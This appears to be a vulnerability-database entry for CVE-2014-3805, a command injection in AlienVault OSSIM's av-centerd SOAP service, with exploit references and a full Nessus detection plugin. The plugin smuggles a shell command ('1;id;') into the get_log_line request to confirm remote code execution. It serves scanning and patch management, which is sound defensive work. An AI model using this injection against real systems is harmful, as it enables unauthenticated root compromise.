Vulnerabilities > CVE-2014-3805 - Code Injection vulnerability in Alienvault Open Source Security Information Management

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
alienvault
CWE-94
critical
nessus
exploit available

Summary

The av-centerd SOAP service in AlienVault OSSIM before 4.7.0 allows remote attackers to execute arbitrary commands via a crafted (1) get_license, (2) get_log_line, or (3) update_system/upgrade_pro_web request, a different vulnerability than CVE-2014-3804.

Vulnerable Configurations

Part Description Count
Application
Alienvault
30

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Leverage Executable Code in Non-Executable Files
    An attack of this type exploits a system's trust in configuration and resource files, when the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high. The attack can be directed at a client system, such as causing buffer overrun through loading seemingly benign image files, as in Microsoft Security Bulletin MS04-028 where specially crafted JPEG files could cause a buffer overrun once loaded into the browser. Another example targets clients reading pdf files. In this case the attacker simply appends javascript to the end of a legitimate url for a pdf (http://www.gnucitizen.org/blog/danger-danger-danger/) http://path/to/pdf/file.pdf#whatever_name_you_want=javascript:your_code_here The client assumes that they are reading a pdf, but the attacker has modified the resource and loaded executable javascript into the client's browser process. The attack can also target server processes. The attacker edits the resource or configuration file, for example a web.xml file used to configure security permissions for a J2EE app server, adding role name "public" grants all users with the public role the ability to use the administration functionality. The server trusts its configuration file to be correct, but when they are manipulated, the attacker gains full control.
  • Manipulating User-Controlled Variables
    This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An attacker can override environment variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the attacker can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.

Exploit-Db

  • descriptionAlienVault OSSIM < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution. CVE-2014-3805. Remote exploit for linux platform
    idEDB-ID:33805
    last seen2016-02-03
    modified2014-06-18
    published2014-06-18
    reporterAlfredo Ramirez
    sourcehttps://www.exploit-db.com/download/33805/
    titleAlienVault OSSIM < 4.7.0 - av-centerd 'get_log_line' Remote Code Execution
  • descriptionAlienvault OSSIM av-centerd 4.7.0 - 'get_log_line' Command Injection (Metasploit). CVE-2014-3805. Remote exploit for Linux platform. Tags: Metasploit Framework
    fileexploits/linux/remote/42709.rb
    idEDB-ID:42709
    last seen2017-09-13
    modified2017-09-13
    platformlinux
    port40007
    published2017-09-13
    reporterExploit-DB
    sourcehttps://www.exploit-db.com/download/42709/
    titleAlienvault OSSIM av-centerd 4.7.0 - 'get_log_line' Command Injection (Metasploit)
    typeremote

Nessus

NASL familyCGI abuses
NASL idOSSIM_SOAP_4_7_0.NASL
descriptionThe remote host is running a version of AlienVault Open Source Security Information Management (OSSIM) that is affected by a remote code execution vulnerability in the
last seen2020-06-01
modified2020-06-02
plugin id76193
published2014-06-23
reporterThis script is Copyright (C) 2014-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/76193
titleAlienVault OSSIM 'av-centerd' Remote Code Execution
code
#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(76193);
  script_version("1.10");
  script_cvs_date("Date: 2018/11/28 22:47:41");

  script_cve_id("CVE-2014-3805");
  script_bugtraq_id(67998);

  script_name(english:"AlienVault OSSIM 'av-centerd' Remote Code Execution");
  script_summary(english:"Tries to exploit RCE via get_log_line().");

  script_set_attribute(attribute:"synopsis", value:"The remote host is affected by a remote code execution vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote host is running a version of AlienVault Open Source
Security Information Management (OSSIM) that is affected by a remote
code execution vulnerability in the 'av-centerd' SOAP service due to a
failure to sanitize user input to the 'get_log_line' method. A remote,
unauthenticated attacker can exploit this vulnerability to execute
arbitrary code with root privileges.

Note that this version is reportedly also affected by other remote
code execution vulnerabilities as well as a SQL injection issue.
However, Nessus did not test for these additional issues.");
  script_set_attribute(attribute:"see_also", value:"http://forums.alienvault.com/discussion/2690");
  script_set_attribute(attribute:"see_also", value:"https://www.zerodayinitiative.com/advisories/ZDI-14-199/");
  script_set_attribute(attribute:"solution", value:"Upgrade to 4.7.0 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
script_set_attribute(attribute:"vuln_publication_date", value:"2014/06/11");
  script_set_attribute(attribute:"patch_publication_date", value:"2014/05/06");
  script_set_attribute(attribute:"plugin_publication_date", value:"2014/06/23");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:alienvault:open_source_security_information_management");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2014-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("ossim_soap_detect.nbin");
  script_require_ports("www/AlienVault OSSIM 'av-centerd' SOAP Service");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("data_protection.inc");

function _soap_create_request(tag, header, body, schema_year)
{
  local_var request;

  if (isnull(body))
    return NULL;

  if (isnull(schema_year))
    schema_year = "2001";

  if (isnull(tag))
    tag = "soapenv";

    request =
     '<?xml version="1.0" encoding="utf-8"?>
      <' + tag + ':Envelope ' + tag + ':encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:xsi="http://www.w3.org/' + schema_year + '/XMLSchema-instance"
        xmlns:' + tag + '="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:xsd="http://www.w3.org/' + schema_year + '/XMLSchema">';

  if (!isnull(header))
    request += '<' + tag + ':Header>' + header + '</' + tag + ':Header>';

  request +=
    '<' + tag + ':Body>' +
      body +
    '</' + tag + ':Body>
  </' + tag + ':Envelope>';

  return request;
}

function soap_send_request(soap_action, url, port, soap_tag, soap_header, request, headers, exit_on_fail)
{
  local_var result;

  if (isnull(soap_tag))
    soap_tag = "soapenv";

  if (isnull(headers))
  {
    headers = make_array(
      "Content-type", "application/soap+xml",
      "User-Agent", "Nessus SOAP v0.0.1 (Nessus.org)"
    );
  }

  headers["SOAPAction"] = soap_action;

  result = http_send_recv3(
      method       : "POST",
      item         : url,
      port         : port,
      add_headers  : headers,
      data         : _soap_create_request(tag:soap_tag, header:soap_header, body:request),
      exit_on_fail : exit_on_fail
  );

  return result;
}

app_name = "AlienVault OSSIM 'av-centerd' SOAP Service";
port = get_kb_item_or_exit('www/' + app_name);

method = 'get_log_line';
method_namespace = 'AV/CC/Util';
soap_action = strcat(method_namespace, '#', method);
url = "/av-centerd";

# We append an 'id' command to the log line number, which prior to
# 4.7.0 is not sanitized via int() in the executing perl script.
request =
'<m:' + method + ' xmlns:m="' + method_namespace + '">
  <string>All</string>
  <string>423d7bea-cfbc-f7ea-fe52-272ff7ede3d2</string>
  <string>' + unixtime() + '</string>
  <string>' + SCRIPT_NAME + '</string>
  <string>/var/log/auth.log</string>
  <string>1;id;</string>
</m:' + method + '>';

soap_response =
  soap_send_request(
    soap_action:soap_action,
    url:url,
    port:port,
    request:request,
    exit_on_fail:TRUE);

# Verify that 'id' command executed.
pattern = ">\s*(uid=.*)\s*</item";
match = eregmatch(string:soap_response[2], pattern:pattern);
if (isnull(match)) audit(AUDIT_LISTEN_NOT_VULN, app_name, port);

if (report_verbosity > 0)
{
  report =
      '\n' + 'Nessus executed "id" by sending the following request :' +
      '\n' +
      '\n' + crap(data:'-', length:30) + " request " + crap(data:'-', length:30) +
      '\n' + chomp(http_last_sent_request()) +
      '\n' + crap(data:'-', length:30) + " request " + crap(data:'-', length:30) +
      '\n' +
      '\n' + 'Which resulted in the following command output :' +
      '\n' +
      '\n' + data_protection::sanitize_uid(output:match[1]);
  security_hole(port:port, extra:report);
}
else security_hole(port);

Packetstorm

data sourcehttps://packetstormsecurity.com/files/download/144161/alientvaultossim470-exec.rb.txt
idPACKETSTORM:144161
last seen2017-09-15
published2017-09-14
reporterJames Fitts
sourcehttps://packetstormsecurity.com/files/144161/Alienvault-OSSIM-av-centerd-4.7.0-get_log_line-Command-Injection.html
titleAlienvault OSSIM av-centerd 4.7.0 get_log_line Command Injection

Seebug

bulletinFamilyexploit
descriptionNo description provided by source.
idSSV:86990
last seen2017-11-19
modified2014-07-01
published2014-07-01
reporterRoot
sourcehttps://www.seebug.org/vuldb/ssvid-86990
titleAlienVault OSSIM < 4.7.0 - av-centerd 'get_log_line()' Remote Code Execution